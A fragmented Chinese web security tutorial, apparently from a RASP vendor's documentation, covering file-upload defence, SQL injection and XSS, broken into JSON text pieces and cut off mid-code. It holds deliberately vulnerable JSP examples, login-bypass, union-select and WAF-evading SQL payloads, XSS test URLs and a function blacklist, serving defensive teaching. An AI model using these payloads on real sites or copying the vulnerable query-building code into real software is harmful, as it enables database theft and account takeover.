请求注入数据库信息测试： 6. RASP防御恶意文件上传攻击 RASP不但应该防御 Apache commons-fileupload 库的文件上传请求，还应当支持Servlet 3.0新增的 javax.servlet.http.Part 。"},
    {"text": "当检测到请求的文件名称包含了动态脚本文件（如： .jsp/.jspx/.jspf/.jspa/.php/.asp/.aspx 等）的 时候需要立即拦截文件上传请求。"},
    {"text": "6.1 Apache commons fileupload 防御 Apache commons-fileupload 底层处理解析Multipart的类是 org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl ，如下： 只需Hook FileItemStreamImpl 类的构造方法就可以获取到 Multipart 的字段或者文件名称，RASP只需要检测传入的 pName 参数值 cmd.jsp 是否是一个合法的文件名称就可以实现文件上传校验了。 需要注意一点，Tomcat封装了 Apache commons fileupload 库，并修改了fileupload类的包名，如： org.apache.tomcat.util.http.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl#FileItemStreamImpl ，所以应当把这个类也放入检测范围内。 6.2 javax.servlet.http.Part防御 javax.servlet.http.Part 是一个接口，不同的容器实现可能都不一样，RASP可以对 javax.servlet.http.Part 接口的 getInputStream 方法进行Hook，然后调用 getName 和 getSubmittedFileName 就可以获取到字段名称、文件名等信息。"},
    {"text": "需要特别注意的是 Jakarta EE8 修改了 javax.servlet.http.Part 的API包名为： jakarta.servlet.http.Part ，为了能够适配高版本的 Jakarta API。"},
    {"text": "6.3 Spring MVC文件名内置编码支持 RASP为了更好的防御文件上传类请求，需要支持 RFC 2047 的QP编码，还需要支持对Spring MVC内置的文件名编码处理处理。"},
    {"text": "SQL注入漏洞 SQL注入漏洞 原文： https://www.wangan.com/docs/2006 SQL注入漏洞 SQL注入是网络攻击中最为常见的攻击方式，通过向服务器端发送恶意的SQL语句或SQL语句片段注入到服务器端的数据库查询逻辑中，改变原有的查询逻辑，从而实现类恶意读取服务器数据库数据，攻击者甚至可以利用数据库内部函数或缺陷 提升权限 ，从而获取服务器权限。 1. 用户后台系统登陆注入 1.1 登陆位置注入测试 后台登陆系统注入在前些年是非常常见的，我们通常会使用 ' or '1'='1 之类的注入语句来构建一个查询结果永为真的SQL，俗称： 万能密码 。"},
    {"text": "示例 - 用户登陆注入代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.sql.Connection\" % > < % @ page import = \"java.sql.DriverManager\" % > < % @ page import = \"java.sql.ResultSet\" % > < % @ page import = \"java.util.HashMap\" % > < % @ page import = \"java.util.Map\" % > < % // MYSQL sys_user示例表，测试时请先创建对应的数据库和表 // // CREATE TABLE `sys_user` ( // `id` int(9) unsigned NOT NULL AUTO_INCREMENT COMMENT '用户ID', // `username` varchar(16) NOT NULL COMMENT '用户名', // `password` varchar(32) NOT NULL COMMENT '用户密码', // `user_avatar` varchar(255) DEFAULT NULL COMMENT '用户头像', // `register_time` datetime DEFAULT NULL COMMENT '注册时间', // PRIMARY KEY (`id`), // UNIQUE KEY `idx_sys_user_username` (`username`) USING BTREE // ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8 COMMENT='系统用户表' // // INSERT INTO `sys_user` VALUES ('1', 'admin', '123456', '/res/images/avatar/default.png', '2020-05-05 17:21:27'), ('2', 'test', '123456', '/res/images/avatar/default.png', '2020-05-06 18:27:10'), ('3', 'root', '123456', '/res/images/avatar/default.png', '2020-05-06 18:28:27'), ('4', 'user', '123456', '/res/images/avatar/default.png', '2020-05-06 18:31:34'), ('5', 'rasp', '123456', '/res/images/avatar/default.png', '2020-05-06 18:32:08'); % > < % String sessionKey = \"USER_INFO\" ; Object sessionUser = session . getAttribute ( sessionKey ) ; // 退出登陆 if ( sessionUser != null && \"exit\" . equals ( request . getParameter ( \"action\" ) ) ) { session . removeAttribute ( sessionKey ) ; out . println ( \"<script>alert('再见!');location.reload();</script>\" ) ; return ; } Map < String , String > userInfo = null ; // 检查用户是否已经登陆成功 if ( sessionUser instanceof Map ) { userInfo = ( Map < String , String > ) sessionUser ; out . println ( \"<p>欢迎回来:\" + userInfo . get ( \"username\" ) + \",ID:\" + userInfo . get ( \"id\" ) + \" \\r<a href='?action=exit'>退出登陆</a></p>\" ) ; return ; } String username = request . getParameter ( \"username\" ) ; String password = request . getParameter ( \"password\" ) ; // 处理用户登陆逻辑 if ( username != null && password != null ) { userInfo = new HashMap < String , String > ( ) ; ResultSet rs = null ; Connection connection = null ; try { Class . forName ( \"com.mysql.jdbc.Driver\" ) ; connection = DriverManager . getConnection ( \"jdbc:mysql://localhost:3306/javaweb-bbs\" , \"root\" , \"root\" ) ; String sql = \"select id,username,password from sys_user where username = '\" + username + \"' and password = '\" + password + \"'\" ; System . out . println ( sql ) ; rs = connection . prepareStatement ( sql ) . executeQuery ( ) ; while ( rs . next ( ) ) { userInfo . put ( \"id\" , rs . getString ( \"id\" ) ) ; userInfo . put ( \"username\" , rs . getString ( \"username\" ) ) ; userInfo . put ( \"password\" , rs . getString ( \"password\" ) ) ; } // 检查是否登陆成功 if ( userInfo . size ( ) > 0 ) { // 设置用户登陆信息 session . setAttribute ( sessionKey , userInfo ) ; // 跳转到登陆成功页面 response . sendRedirect ( request . getServletPath ( ) ) ; } else { out . println ( \"<script>alert('登陆失败，账号或密码错误!');history.back(-1)</script>\" ) ; } } catch ( Exception e ) { out . println ( \"<script>alert('登陆失败，服务器异常!');history.back(-1)</script>\" ) ; } finally { // 关闭数据库连接 if ( rs != null ) rs . close ( ) ; if ( connection != null ) connection . close ( ) ; } return ; } % > < html > < head > < title > Login Test < / title > < / head > < body > < div style = \"margin: 30px;\" > < form action = \"#\" method = \"POST\" > Username : < input type = \"text\" name = \"username\" value = \"admin\" / > < br / > Password : < input type = \"text\" name = \"password\" value = \"'=0#\" / > < br / > < input type = \"submit\" value = \"登陆\" / > < / form > < / div > < / body > < / html > sys_user表结构如下： id username password user_avatar register_time 1 admin 123456 /res/images/avatar/default.png 2020-05-05 17:21:27 2 test 123456 /res/images/avatar/default.png 2020-05-06 18:27:10 访问示例中的后台登陆地址： http://localhost:8000/modules/jdbc/login.jsp ，如下图： 攻击者通过在密码参数处输入： '=0# 即可使用SQL注入的方式改变查询逻辑，绕过密码认证并登陆系统，因此用于检测用户账号密码是否存在的SQL语句变成了： select id,username,password from sys_user where username = 'admin' and password = ''=0#' 其中的 password 的值预期是传入用户密码，但是实际上被攻击者传入了可改变查询逻辑的SQL语句，将运算结果改变为 true ，从而攻击者可以使用错误的用户及密码登陆系统，如下图： 毫无疑问因为攻击者输入的信息足够的短小简洁，但是对于用户网站系统来说却有极强的杀伤性，绝大多数的 WAF 或者 RASP 产品都无法精准辨别 '=0# 的威胁性，无法正确做到精准防御。"},
    {"text": "万能密码登陆注入原理图解： 2. 文章详情页注入 通常情况下在用户系统发布文章后会在数据库中产生一条记录，并生成一个固定的文章ID，用户浏览文章信息只需要传入文章ID，即在后端通过文章ID查询文章详情信息。 示例 - 存在SQL注入的文章详情代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.sql.Connection\" % > < % @ page import = \"java.sql.DriverManager\" % > < % @ page import = \"java.sql.ResultSet\" % > < % @ page import = \"java.util.HashMap\" % > < % @ page import = \"java.util.Map\" % > < % // MYSQL sys_article示例表，测试时请先创建对应的数据库和表 // CREATE TABLE `sys_article` ( // `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT '文章ID', // `user_id` int(9) NOT NULL COMMENT '用户ID', // `title` varchar(100) NOT NULL COMMENT '标题', // `author` varchar(16) NOT NULL COMMENT '作者', // `content` longtext NOT NULL COMMENT '文章内容', // `publish_date` datetime NOT NULL COMMENT '发布时间', // `click_count` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '文章点击数量', // PRIMARY KEY (`id`), // KEY `index_title` (`title`) USING BTREE // ) ENGINE=InnoDB AUTO_INCREMENT=100002 DEFAULT CHARSET=utf8 COMMENT='系统文章表'; // // INSERT INTO `sys_article` VALUES ('100000', '1', '东部战区陆军：丢掉幻想，准备打仗！"},
    {"text": "', 'admin', '<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n 中国人民解放军东部战区陆军微信公众号“人民前线”4月15日发布《丢掉幻想，准备打仗！ 》，以下为文章全文：\\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n 文丨陈前线\\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n “丢掉幻想，准备斗争！"},
    {"text": "”\\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n 这是新中国成立前夕，毛主席发表的一篇文章标题。 \\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n 毛主席曾说过： “我们爱好和平，但以斗争求和平则和平存，以妥协求和平则和平亡。 ”\\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;text-align:center;\\\">\\n <img src=\\\"/res/images/20200415203823695.jpg\\\" />\\n</p>\\n<p style=\\\"font-family:PingFangSC-Regular, 微软雅黑, STXihei, Verdana, Calibri, Helvetica, Arial, sans-serif;font-size:16px;text-indent:32px;background-color:#FFFFFF;\\\">\\n 放眼今日之中国，九州大地上热潮迭涌。"},
    {"text": "', 'admin', '<p style=\\\"font-family:&quot;font-size:16px;background-color:#FFFFFF;text-align:justify;\\\">\\n 这话是20年前，我的新兵连长说的。"},
    {"text": "\\n</p>\\n<p style=\\\"font-family:&quot;font-size:16px;background-color:#FFFFFF;text-align:justify;\\\">\\n &emsp;&emsp;那是我们授衔后的第一个晚上，班长一脸神秘地说：“按照惯例，今天晚上肯定要紧急集合的，这是你们的‘成人礼’。"},
    {"text": "\\n</p>\\n<p style=\\\"font-family:&quot;font-size:16px;background-color:#FFFFFF;text-align:justify;\\\">\\n &emsp;&emsp;果然，深夜一阵急促的哨音响起，我们迅速打起被包，冲到指定地点集合。"},
    {"text": "\\n</p>\\n<p align=\\\"center\\\" style=\\\"font-family:&quot;font-size:16px;background-color:#FFFFFF;\\\">\\n <img src=\\\"/res/images/20200419133156232.jpg\\\" alt=\\\"500\\\" />\\n</p>\\n<p style=\\\"font-family:&quot;font-size:16px;background-color:#FFFFFF;text-align:justify;\\\">\\n &emsp;&emsp;可是，令人没有想到的是，睡梦中又一阵急促的哨音划破夜空的宁静——连长再次拉起了紧急集合。"},
    {"text": "这一次，情况就完全不一样了，毫无准备的我们，狼狈不堪，有的被包来不及打好，不得不用手抱住;有的找不到自己的鞋子，光脚站在地上，有的甚至连裤子都穿反了……\\n</p>', '2020-04-19 17:37:40', '17'); % > < % String id = request . getParameter ( \"id\" ) ; Map < String , Object > articleInfo = new HashMap < String , Object > ( ) ; ResultSet rs = null ; Connection connection = null ; if ( id != null ) { try { Class . forName ( \"com.mysql.jdbc.Driver\" ) ; connection = DriverManager . getConnection ( \"jdbc:mysql://localhost:3306/javaweb-bbs\" , \"root\" , \"root\" ) ; String sql = \"select * from sys_article where id = \" + id ; System . out . println ( sql ) ; rs = connection . prepareStatement ( sql ) . executeQuery ( ) ; while ( rs . next ( ) ) { articleInfo . put ( \"id\" , rs . getInt ( \"id\" ) ) ; articleInfo . put ( \"user_id\" , rs . getInt ( \"user_id\" ) ) ; articleInfo . put ( \"title\" , rs . getString ( \"title\" ) ) ; articleInfo . put ( \"author\" , rs . getString ( \"author\" ) ) ; articleInfo . put ( \"content\" , rs . getString ( \"content\" ) ) ; articleInfo . put ( \"publish_date\" , rs . getDate ( \"publish_date\" ) ) ; } } catch ( Exception e ) { e . printStackTrace ( ) ; } finally { // 关闭数据库连接 if ( rs != null ) rs . close ( ) ; if ( connection != null ) connection . close ( ) ; } } % > < html > < head > < title > < %= articleInfo . get ( \"title\" ) % > < / title > < / head > < body > < div style = \"margin: 30px;\" > < h2 style = \"height: 30px; text-align: center;\" > < %= articleInfo . get ( \"title\" ) % > < / h2 > < p > 作者： < %= articleInfo . get ( \"author\" ) % > - < %= articleInfo . get ( \"publish_date\" ) % > < / p > < div style = \"border: 1px solid #C6C6C6;\" > < %= articleInfo . get ( \"content\" ) % > < / div > < / div > < / body > < / html > sys_article表结构如下： id user_id title author content publish_date click_count 100000 1 东部战区陆军：丢掉幻想，准备打仗！"},
    {"text": "admin 文章内容 2020-04-19 17:37:40 17 访问示例程序并传入参数 id=100001 后会显示文章详情，请求： http://localhost:8000/modules/jdbc/article.jsp?id=100001 ，如下图： 2.1 union select类型的SQL注入攻击测试 攻击者在ID处构造并传入恶意的SQL注入语句后，可以轻松的读取出数据库信息，如将请求中的 id 参数值改为 100001 and 1=2 union select 1,2,user(),version(),database(),6,7 ,服务器端将会返回数据库名称、请求： http://localhost:8000/modules/jdbc/article.jsp?id=100001%20and%201=2%20union%20select%201,2,user(),version(),database(),6,7 ，如下图： 由于攻击的Payload中包含了 union、select、user()、version()、database() 敏感关键字，大部分的 WAF 都能够识别此类SQL注入。 2.2 算数运算结果探测型攻击测试 但如果攻击者将注入语句改为检测语句: 100001-1 的时候页面会输出文章 id 为 100000 的文章，由于 id 参数存在注入，数据库最终查询到的文章 id 为 100001-1 也就是 id 为 100000 的文章，请求： http://localhost:8000/modules/jdbc/article.jsp?id=100001-1 ，如下图： 几乎可以绕过 99% 的 WAF 和大部分的 RASP 产品了，此类SQL注入攻击属于不具有攻击性的探测性攻击。"},
    {"text": "2.3 数据库函数型攻击测试 部分攻击者使用了数据库的一些特殊函数进行注入攻击，可能会导致 WAF 无法识别，但是RASP具备特殊函数注入攻击的精准检测和防御能力。"},
    {"text": "例如上述示例中攻击者传入的 id 参数值为: (100001-1) 或者 (100001) 用于探测数据表中是否存在 id 值为 100000 的文章，请求： http://localhost:8000/modules/jdbc/article.jsp?id=(100001) ，如下图： 或者传入的 id 参数值为: (select 100000) 来探测数据库是否存在 id 值为 100000 的文章，请求： http://localhost:8000/modules/jdbc/article.jsp?id=(select%20100000) ，如下图： 大多数数据库支持使用 () 来包裹一个整数型的字段值，但是 99% 的 WAF 和极大多数的 RASP 产品是无法识别此类型的注入攻击的。 3. SQL注入 - JSON传参测试 示例 - 存在SQL注入漏洞的代码示例(JSON传参方式)： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.sql.Connection\" % > < % @ page import = \"java.sql.DriverManager\" % > < % @ page import = \"java.sql.ResultSet\" % > < % @ page import = \"java.util.HashMap\" % > < % @ page import = \"java.util.Map\" % > < % @ page import = \"com.alibaba.fastjson.JSON\" % > < % @ page import = \"org.apache.commons.io.IOUtils\" % > < % @ page import = \"com.alibaba.fastjson.JSONObject\" % > < % // MYSQL sys_user示例表，测试时请先创建对应的数据库和表 // // CREATE TABLE `sys_user` ( // `id` int(9) unsigned NOT NULL AUTO_INCREMENT COMMENT '用户ID', // `username` varchar(16) NOT NULL COMMENT '用户名', // `password` varchar(32) NOT NULL COMMENT '用户密码', // `user_avatar` varchar(255) DEFAULT NULL COMMENT '用户头像', // `register_time` datetime DEFAULT NULL COMMENT '注册时间', // PRIMARY KEY (`id`), // UNIQUE KEY `idx_sys_user_username` (`username`) USING BTREE // ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8 COMMENT='系统用户表' // // INSERT INTO `sys_user` VALUES ('1', 'admin', '123456', '/res/images/avatar/default.png', '2020-05-05 17:21:27'), ('2', 'test', '123456', '/res/images/avatar/default.png', '2020-05-06 18:27:10'), ('3', 'root', '123456', '/res/images/avatar/default.png', '2020-05-06 18:28:27'), ('4', 'user', '123456', '/res/images/avatar/default.png', '2020-05-06 18:31:34'), ('5', 'rasp', '123456', '/res/images/avatar/default.png', '2020-05-06 18:32:08'); % > < % String contentType = request . getContentType ( ) ; // 只接受JSON请求 if ( contentType != null && contentType . toLowerCase ( ) . contains ( \"application/json\" ) ) { String content = IOUtils . toString ( request . getInputStream ( ) ) ; JSONObject json = JSON . parseObject ( content ) ; String username = json . getString ( \"username\" ) ; String password = json . getString ( \"password\" ) ; // 处理用户登陆逻辑 if ( username != null && password != null ) { ResultSet rs = null ; Connection connection = null ; Map < String , Object > userInfo = new HashMap < String , Object > ( ) ; try { Class . forName ( \"com.mysql.jdbc.Driver\" ) ; connection = DriverManager . getConnection ( \"jdbc:mysql://localhost:3306/javaweb-bbs\" , \"root\" , \"root\" ) ; String sql = \"select * from sys_user where username = '\" + username + \"' and password = '\" + password + \"'\" ; System . out . println ( sql ) ; rs = connection . prepareStatement ( sql ) . executeQuery ( ) ; while ( rs . next ( ) ) { userInfo . put ( \"id\" , rs . getString ( \"id\" ) ) ; userInfo . put ( \"username\" , rs . getString ( \"username\" ) ) ; userInfo . put ( \"password\" , rs . getString ( \"password\" ) ) ; userInfo . put ( \"user_avatar\" , rs . getString ( \"user_avatar\" ) ) ; userInfo . put ( \"register_time\" , rs . getDate ( \"register_time\" ) ) ; } // 检查是否登陆成功 if ( userInfo . size ( ) > 0 ) { // 设置用户登陆信息 out . println ( JSON . toJSONString ( userInfo ) ) ; } else { out . println ( \"<script>alert('登陆失败，账号或密码错误!');history.back(-1)</script>\" ) ; } } catch ( Exception e ) { e . printStackTrace ( ) ; out . println ( \"<script>alert('登陆失败，服务器异常!');history.back(-1)</script>\" ) ; } finally { // 关闭数据库连接 if ( rs != null ) rs . close ( ) ; if ( connection != null ) connection . close ( ) ; } } } % > 如果应用系统本身通过JSON格式传参，传统的 WAF 可能无法识别，如果后端将参数进行SQL语句的拼接，则将会导致SQL注入漏洞。"},
    {"text": "5.1 RASP SQL注入防御 在Java中，所有的数据库读写操作都需要使用JDBC驱动来实现，JDBC规范中定义了数据库查询的接口，不同的数据库厂商通过实现JDBC定义的接口来实现数据库的连接、查询等操作。 RASP是基于行为的方式来实现SQL注入检测的，如果请求的参数最终并没有被数据库执行，那么RASP的SQL注入检测模块根本就不会被触发。 5.1.1 java.sql.Connection/Statement接口Hook 虽然每种数据库的驱动包的类名都不一样，但是它们都必须实现JDBC接口，所以我们可以利用这一特点，使用RASP Hook JDBC数据库查询的接口类： java.sql.Connection 、 java.sql.Statement 。 例如Mysql的驱动包的实现数据库连接的实现类是： com.mysql.jdbc.ConnectionImpl ，该类实现了 com.mysql.jdbc.MySQLConnection 接口，而 com.mysql.jdbc.MySQLConnection 类是 java.sql.Connection 的子类，也就是说 com.mysql.jdbc.ConnectionImpl 接口必须实现 java.sql.Connection 定义的数据库连接和查询方法。 示例 - com.mysql.jdbc.ConnectionImpl 类继承关系图： 灵蜥内置了JDBC接口的Hook方法，如下： 示例 - 灵蜥Hook Connection接口代码片段： /** * JDBC Connection 数据库查询Hook * Creator: yz * Date: 2019-07-23 */ @RASPClassHook public class ConnectionHook { // 省略其他Hook方法 /** * Hook java.sql.Connection接口的所有子类中的prepareStatement方法，且该方法的第一个参数必须是字符串 */ @RASPMethodHook ( superClass = \"java.sql.Connection\" , methodName = \"prepareStatement\" , methodArgsDesc = \"^Ljava/lang/String;.*\" , methodDescRegexp = true ) public static class ConnectionPrepareStatementHook extends RASPMethodAdvice { @Override public RASPHookResult < ? > onMethodEnter ( ) { // 获取prepareStatement的第一个参数值，也就是JDBC执行的SQL语句 String sql = ( String ) getArg ( 0 ) ; // 分析执行的SQL语句是否合法，并返回检测结果 return JdbcSqlQueryHookHandler . sqlQueryHook ( sql , this ) ; } } } 当 com.mysql.jdbc.ConnectionImpl 类被JVM加载后会因为配置了RASP的Agent，该类的字节码会传递到RASP的Agent处理，RASP经过分析后得出 ConnectionImpl 类符合RASP内置的 ConnectionPrepareStatementHook 类设置的Hook条件（父类名/方法名/方法参数完全匹配），那么RASP就会使用ASM动态生成防御代码并插入到被Hook的方法中。 示例 - 未修改的ConnectionImpl类代码片段： package com . mysql . jdbc ; public class ConnectionImpl extends ConnectionPropertiesImpl implements MySQLConnection { // 省略其他业务代码 public java . sql . PreparedStatement prepareStatement ( String sql ) throws SQLException { return prepareStatement ( sql , DEFAULT_RESULT_SET_TYPE , DEFAULT_RESULT_SET_CONCURRENCY ) ; } } 示例 - 经过RASP修改后的代码片段： package com . anbai . lingxe . agent ; import com . anbai . lingxe . loader . hooks . RASPHookHandlerType ; import com . anbai . lingxe . loader . hooks . RASPHookProxy ; import com . anbai . lingxe . loader . hooks . RASPHookResult ; import java . sql . PreparedStatement ; import java . sql . SQLException ; public class ConnectionImpl extends ConnectionPropertiesImpl implements MySQLConnection { // 省略其他业务代码 public PreparedStatement prepareStatement ( String sql ) throws SQLException { // 生成Object数组对象，存储方法参数值 Object [ ] parameters = new Object [ ] { sql } ; // 生成try/catch try { // 调用RASP方法方法进入时检测逻辑 RASPHookResult enterResult = RASPHookProxy . onMethodEnter ( parameters , . . . ) ; String HandlerType = enterResult . getRaspHookHandlerType ( ) . toString ( ) ; if ( RASPHookHandlerType . REPLACE_OR_BLOCK . toString ( ) . equals ( HandlerType ) ) { // 如果RASP检测结果需要阻断或替换程序执行逻辑，return RASP返回结果中设置的返回值 return ( PreparedStatement ) enterResult . getReturnValue ( ) ; } else if ( RASPHookHandlerType . THROW . toString ( ) . equals ( HandlerType ) ) { // 如果RASP检测结果需要往外抛出异常，throw RASP返回结果中设置的异常对象 throw ( Throwable ) enterResult . getException ( ) ; } // 执行程序原逻辑，创建PreparedStatement对象 PreparedStatement methodReturn = prepareStatement ( sql , 1003 , 1007 ) ; // 调用RASP方法方法退出时检测逻辑，同onMethodEnter，此处省略对应代码 return methodReturn ; } catch ( Throwable t ) { // 调用RASP方法方法异常退出时检测逻辑，同onMethodEnter，此处省略对应代码 } } } 增强后的 ConnectionImpl 类执行任何SQL语句都会被被RASP捕获并检测合法性，从而实现了彻底的SQL注入攻击防御。 5.1.2 RASP SQL注入防御原理 RASP和WAF防御SQL注入能力有着本质上的区别，不管WAF如何的吹捧人工智能、机器学习它们都无法精确的识别SQL注入攻击，因为在WAF层面根本就无法判定传入的参数最终会不会拼接到SQL语句中，甚至连后端有没有用数据库都不知道，所以WAF的识别误报率高也就是不可避免的了。 RASP与Web应用融为了一体，可以无视Https加密、无需手动解析Http请求参数，还可以直接获取到数据库最终执行的SQL语句，在SQL注入防御能力上有着得天独厚的条件。 示例 - RASP防御SQL注入原理： 从上图可以看出，RASP将Hook到的SQL语句做词法解析，然后结合Http请求的参数做关联分析，得出password参数直接导致了SQL词法的语义变化，从而判定该SQL语句中包含了注入攻击，RASP会立即阻止SQL查询并阻断Http请求。"},
    {"text": "RASP通过词法解析可以得出SQL语句中使用的数据库函数、表名称、字段等关键信息，结合黑名单机制可以实现对敏感函数禁用，如： load_file/into outfile/xp_cmdshell 等。"},
    {"text": "5.1.3 基于SQL词法解析实现防御测试 灵蜥使用了SQL词法解析来检测SQL注入漏洞或攻击，对于SQL注入的检测能力精确而有效，比如可以轻松的识别出函数和算数运算类的SQL注入攻击，如图： RASP可以识别出参数id中的 100001-1 会在数据库中做算术运算，因为会被RASP拦截，通常攻击者非常喜欢使用这种方式来探测是否存在SQL注入，传统的WAF因为根本识别这个参数的具体业务含义，从而无法识别此类SQL注入攻击。"},
    {"text": "5.1.4 RASP对JSON、Multipart请求的支持 处理传统的GET/POST参数传递以外， json 、 multipart 和 web service 是目前后端开发最为常用的参数传递方式，标准的Web容器默认是不会解析这几类请求参数的，而主流的MVC框架（如： Spring MVC ）具备了解析这几类请求参数的能力。"},
    {"text": "XSS漏洞 XSS漏洞 原文： https://www.wangan.com/docs/2007 XSS漏洞 攻击者利用XSS( Cross-site scripting )漏洞攻击可以在用户的浏览器中执行JS恶意脚本， XSS 攻击可以实现 用户会话劫持 、 钓鱼攻击 、 恶意重定向 、 点击劫持 、 挂马 、 XSS蠕虫 等，XSS攻击类型分为： 反射型 、 存储型 、 DOM型 。 1. 反射型XSS攻击 示例 - 存在反射型XSS的xss.jsp代码： < %= request . getParameter ( \"input\" ) % > 攻击者通过传入恶意的 input 参数值可以在用户浏览器中注入一段 JavaScript 脚本。 示例 - 注入XSS代码： < script > alert ( 'xss' ) ; < / script > 浏览器请求： http://localhost:8000/modules/servlet/xss.jsp?input=%3Cscript%3Ealert(%27xss%27)%3B%3C/script%3E 2. 存储型XSS攻击 示例 - 存在存储型XSS的guestbook.jsp代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.text.SimpleDateFormat\" % > < % @ page import = \"java.util.*\" % > < % String username = request . getParameter ( \"username\" ) ; String content = request . getParameter ( \"content\" ) ; String guestBookKey = \"GUEST_BOOK\" ; List < Map < String , String >> comments = new ArrayList < Map < String , String >> ( ) ; if ( content != null ) { Object obj = application . getAttribute ( guestBookKey ) ; if ( obj != null ) { comments = ( List < Map < String , String >> ) obj ; } Map < String , String > comment = new HashMap < String , String > ( ) ; String ip = request . getHeader ( \"x-real-ip\" ) ; if ( ip == null ) { ip = request . getRemoteAddr ( ) ; } comment . put ( \"username\" , username ) ; comment . put ( \"content\" , content ) ; comment . put ( \"ip\" , ip ) ; comment . put ( \"date\" , new SimpleDateFormat ( \"yyyy-MM-dd HH:mm:ss\" ) . format ( new Date ( ) ) ) ; comments . add ( comment ) ; application . setAttribute ( guestBookKey , comments ) ; } % > < html > < head > < title > 留言板 < / title > < / head > < style > * { margin : 0 ; padding : 0 ; } < / style > < body > < div style = \"border: 1px solid #C6C6C6;\" > < div style = \"text-align: center;\" > < h2 > 在线留言板 < / h2 > < / div > < div > < dl > < % Object obj = application . getAttribute ( guestBookKey ) ; if ( obj instanceof List ) { comments = ( List < Map < String , String >> ) obj ; for ( Map < String , String > comment : comments ) { % > < dd > < div style = \"min-height: 50px; margin: 20px; border-bottom: 1px solid #9F9F9F;\" > < p > < B > < %= comment . get ( \"username\" ) % > < / B > [ < %= comment . get ( \"ip\" ) % > ] 于 < %= comment . get ( \"date\" ) % > 发表回复： < / p > < p style = \"margin: 15px 0 5px 0; font-size: 12px;\" > < pre > < %= comment . get ( \"content\" ) % > < / pre > < / p > < / div > < / dd > < % } } % > < / dl > < / div > < div style = \"background-color: #fff; border: 1px solid #C6C6C6;\" > < form action = \"#\" method = \"POST\" style = \"margin: 20px;\" > 昵称 : < input type = \"text\" name = \"username\" style = \"width:250px; height: 28px;\" / > < br / > < br / > < textarea name = \"content\" style = \"overflow: auto;width: 100%; height: 250px;\" > < / textarea > < input type = \"submit\" value = \"提交留言\" style = \"margin-top: 20px; width: 80px; height: 30px;\" / > < / form > < / div > < / div > < / body > < / html > 访问： http://10.10.99.2:8000/modules/servlet/guestbook.jsp ，并在留言内容出填入xss测试代码，如下： 提交留言后页面会刷新，并执行留言的xss代码： 3. DOM XSS 示例 - dom.jsp代码： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > Date : < span style = \"color: red;\" > < / span > < input type = \"hidden\" value = \"<%=request.getParameter(\" date \")%>\" / > < script > var date = document . getElementsByTagName ( \"input\" ) [ 0 ] . value ; document . getElementsByTagName ( \"span\" ) [ 0 ] . innerHTML = date ; < / script > 正常请求测试： http://localhost:8000/modules/servlet/dom.jsp?date=2020-11-15%2015:57:22 XSS攻击测试： http://localhost:8000/modules/servlet/dom.jsp?date=%3Cimg%20src=1%20onerror=alert(/xss/)%20/%3E 4. XSS防御 XSS最为常见的处理方式是转义特殊字符，后端程序在接受任何用户输入的参数时都应当优先考虑是否会存在XSS攻击。 4.1 htmlspecialchars 在PHP中通常会使用 htmlspecialchars 函数会将一些可能有攻击威胁的字符串转义为html实体编码，这样可以有效的避免XSS攻击。 * 示例 - htmlspecialchars 转义： * 字符 替换后 & (& 符号) &amp; \" (双引号) &quot; ' (单引号) &#039; 或者 &apos; < (小于) &lt; > (大于) &gt; 在Java中虽然没有内置如此简单方便的函数，但是我们可以通过字符串替换的方式实现类似 htmlspecialchars 函数的功能。"},
    {"text": "/** * 实现htmlSpecialChars函数把一些预定义的字符转换为HTML实体编码 * * @param content 输入的字符串内容 * @return HTML实体化转义后的字符串 */ public static String htmlSpecialChars ( String content ) { if ( content == null ) { return null ; } char [ ] charArray = content . toCharArray ( ) ; StringBuilder sb = new StringBuilder ( ) ; for ( char c : charArray ) { switch ( c ) { case '&' : sb . append ( \"&amp;\" ) ; break ; case '\"' : sb . append ( \"&quot;\" ) ; break ; case '\\'' : sb . append ( \"&#039;\" ) ; break ; case '<' : sb . append ( \"&lt;\" ) ; break ; case '>' : sb . append ( \"&gt;\" ) ; break ; default : sb . append ( c ) ; break ; } } return sb . toString ( ) ; } 在存储或者输出请求参数的时候使用该方法过滤即可实现XSS防御。 4.2 全局的XSSFilter package com . anbai . sec . vuls . filter ; import javax . servlet . * ; import javax . servlet . http . HttpServletRequest ; import javax . servlet . http . HttpServletRequestWrapper ; import java . io . IOException ; public class XSSFilter implements Filter { @Override public void init ( FilterConfig filterConfig ) { } @Override public void doFilter ( ServletRequest req , ServletResponse resp , FilterChain chain ) throws IOException , ServletException { HttpServletRequest request = ( HttpServletRequest ) req ; // 创建HttpServletRequestWrapper，包装原HttpServletRequest对象，示例程序只重写了getParameter方法， // 应当考虑如何过滤：getParameter、getParameterValues、getParameterMap、getInputStream、getReader HttpServletRequestWrapper 